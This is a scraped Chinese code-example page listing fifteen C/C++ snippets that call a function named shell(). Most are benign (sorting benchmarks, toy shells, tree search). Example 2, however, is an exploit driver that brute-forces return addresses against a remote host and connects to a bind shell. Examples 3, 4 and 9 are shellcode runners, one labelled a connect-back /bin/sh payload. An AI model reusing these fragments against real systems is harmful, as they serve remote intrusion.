本文整理汇总了C++中shell函数的典型用法代码示例。如果您正苦于以下问题：C++ shell函数的具体用法？C++ shell怎么用？C++ shell使用的例子？那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了shell函数的15个代码示例，这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞，您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: main
int main(){
/* Generamos las matrices aleatoriamente */
int i;
for(i = 0; i < 1000000; i++){
v31[i] = v32[i] = v33[i] = rand();
if(i < 100000) v21[i] = v22[i] = v23[i] = rand();
if(i < 10000) v11[i] = v12[i] = v13[i] = rand();
}
/* Llamamos a las funciones de ordenacion e imprimimos lo que tardan */
printf("--------------------------------------------------------------------------------\n");
/* 10000 elementos */
t = clock();
quicksort(&v13[0],&v13[10000-1]);
t = clock() - t;
printf("Quicksort ( 10000 elementos):\t\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
shell(10000);
printf("Metodo Shell ( 10000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
insercionDirecta(10000);
printf("Insercion directa ( 10000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
printf("--------------------------------------------------------------------------------\n");
/*100000 elementos */
t = clock();
quicksort(&v23[0],&v23[100000-1]);
t = clock() - t;
printf("Quicksort ( 100000 elementos):\t\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
shell(100000);
printf("Metodo Shell ( 100000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
insercionDirecta(100000);
printf("Insercion directa ( 100000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
printf("--------------------------------------------------------------------------------\n");
/* 1000000 elementos */
t = clock();
quicksort(&v33[0],&v33[1000000-1]);
t = clock() - t;
printf("Quicksort (1000000 elementos):\t\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
shell(1000000);
printf("Metodo Shell (1000000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
insercionDirecta(1000000);
printf("Insercion directa (1000000 elementos):\t %.3f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
return 0;
}示例2: exploit
int exploit (char *host, int port, struct targets target) {
char *payload;
int thesock;
long ret;
if (opt_flags & OPT_BRUTE) {
for (ret = STACK_START; ret > STACK_END; ret-=steps) {
fprintf (stdout, "[+] Trying %#x\n", ret);
payload = xp_create (target.addr);
xp_send (host, port, payload);
sleep(timeout);
thesock = connect_host (host, 8658);
if (thesock == -1) {
fprintf (stdout, "[-] Exploit failed!\n");
xp_destroy (payload);
} else {
fprintf (stdout, "[+] Exploit success!\n");
fprintf (stdout, "[+] Waiting for shell\n");
shell (thesock);
break;
}
}
} else {
if (opt_flags & OPT_CHECK) {
fprintf (stdout, "[+] Checking for vulnability\n");
} else {
fprintf (stdout, "[+] Trying %#x\n", target.addr);
}
payload = xp_create (target.addr);
xp_send (host, port, payload);
sleep(2);
thesock = connect_host (host, 8658);
if (thesock == -1) {
fprintf (stdout, "[-] Exploit failed!\n");
xp_destroy (payload);
return EXIT_FAILURE;
} else {
fprintf (stdout, "[+] Exploit success!\n");
fprintf (stdout, "[+] Waiting for shell\n");
sleep(1);
shell (thesock);
}
}
return 0;
}示例3: main
int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte connect back execve /bin/sh for linux/ppc by core\n",
strlen(hellcode));
shell();
return 0;
}示例4: main
int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte (w/optional 7 byte exit) write(0,\"Hello core!\\n\",12); linux/x86 by core\n",
strlen(hellcode));
shell();
return 0;
}示例5: main
int main(int argc, char **argv)
{
currentFile=NULL;
shell();
return 0;
}示例6: entry
void entry() {
__asm_initialize__();
kmeminit();
shell();
while(1);
}示例7: main
int main(int argc, const char * argv[]) {
Helper::print("Welcome to the mini tester for the InDiskShell class. Jonathan Ginsburg (C) September 2015.");
std::string path = Helper::readLine("Enter path: ");
std::string fileName = Helper::readLine("Enter file name: ");
InDiskShell<std::string> shell(path, fileName);
shell << Helper::readLine("Enter the string to save: ");
return 0;
}示例8: prompt
void prompt() {
char cmd[1024];
while (true) {
printk("%[email protected]%s:$ ", user, machine);
gets(cmd);
shell(cmd);
}
}示例9: main
int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte _exit(1); linux/x86 by core\n",
strlen(hellcode));
shell();
return 0;
}示例10: main
int main() {
int a[] = {3,7,2,9,6,5,1};
int sz = sizeof(a)/sizeof(a[0]);
show(a, sz);
shell(a, sz);
show(a, sz);
return 0;
}示例11: view_manager
static nsIViewManager*
view_manager(nsIDocShell *aDocShell)
{
nsCOMPtr<nsIPresShell> shell(pres_shell(aDocShell));
if (!shell)
return nsnull;
return shell->GetViewManager();
}示例12: descend
inline
void descend(DistanceCallback& dcb, const node<P>* query, ScalarType* upper_bound,
int current_scale,int &max_scale, v_array<v_array<d_node<P> > > &cover_sets,
v_array<d_node<P> > &zero_set)
{
d_node<P> *end = cover_sets[current_scale].elements + cover_sets[current_scale].index;
for (d_node<P> *parent = cover_sets[current_scale].elements; parent != end; parent++)
{
const node<P> *par = parent->n;
ScalarType upper_dist = *upper_bound + query->max_dist + query->max_dist;
if (parent->dist <= upper_dist + par->max_dist)
{
node<P> *chi = par->children;
if (parent->dist <= upper_dist + chi->max_dist)
{
if (chi->num_children > 0)
{
if (max_scale < chi->scale)
max_scale = chi->scale;
d_node<P> temp = {parent->dist, chi};
push(cover_sets[chi->scale], temp);
}
else if (parent->dist <= upper_dist)
{
d_node<P> temp = {parent->dist, chi};
push(zero_set, temp);
}
}
node<P> *child_end = par->children + par->num_children;
for (chi++; chi != child_end; chi++)
{
ScalarType upper_chi = *upper_bound + chi->max_dist + query->max_dist + query->max_dist;
if (shell(parent->dist, chi->parent_dist, upper_chi))
{
ScalarType d = distance(dcb, query->p, chi->p, upper_chi);
if (d <= upper_chi)
{
if (d < *upper_bound)
update(upper_bound, d);
if (chi->num_children > 0)
{
if (max_scale < chi->scale)
max_scale = chi->scale;
d_node<P> temp = {d, chi};
push(cover_sets[chi->scale],temp);
}
else
if (d <= upper_chi - chi->max_dist)
{
d_node<P> temp = {d, chi};
push(zero_set, temp);
}
}
}
}
}
}
}示例13: main
int main(int argc, char *argv[])
{
puts("------------------------------------------");
puts(" EVAL - Mathematical Expression Evaluator ");
puts("==========================================");
void shell(void); shell();
puts("\nGoodbye!\n");
return EXIT_SUCCESS;
}示例14: main
int main(void)
{
while(1){
shell();
}
return 0;
}示例15: cmd_shell
static exe_cmd_init cmd_shell(std::string&& cmd)
{
std::vector<std::string> args = {"-c", "\"" + cmd + "\""};
std::string sh = shell().string();
return exe_cmd_init(
std::move(sh),
{std::move(args)});
}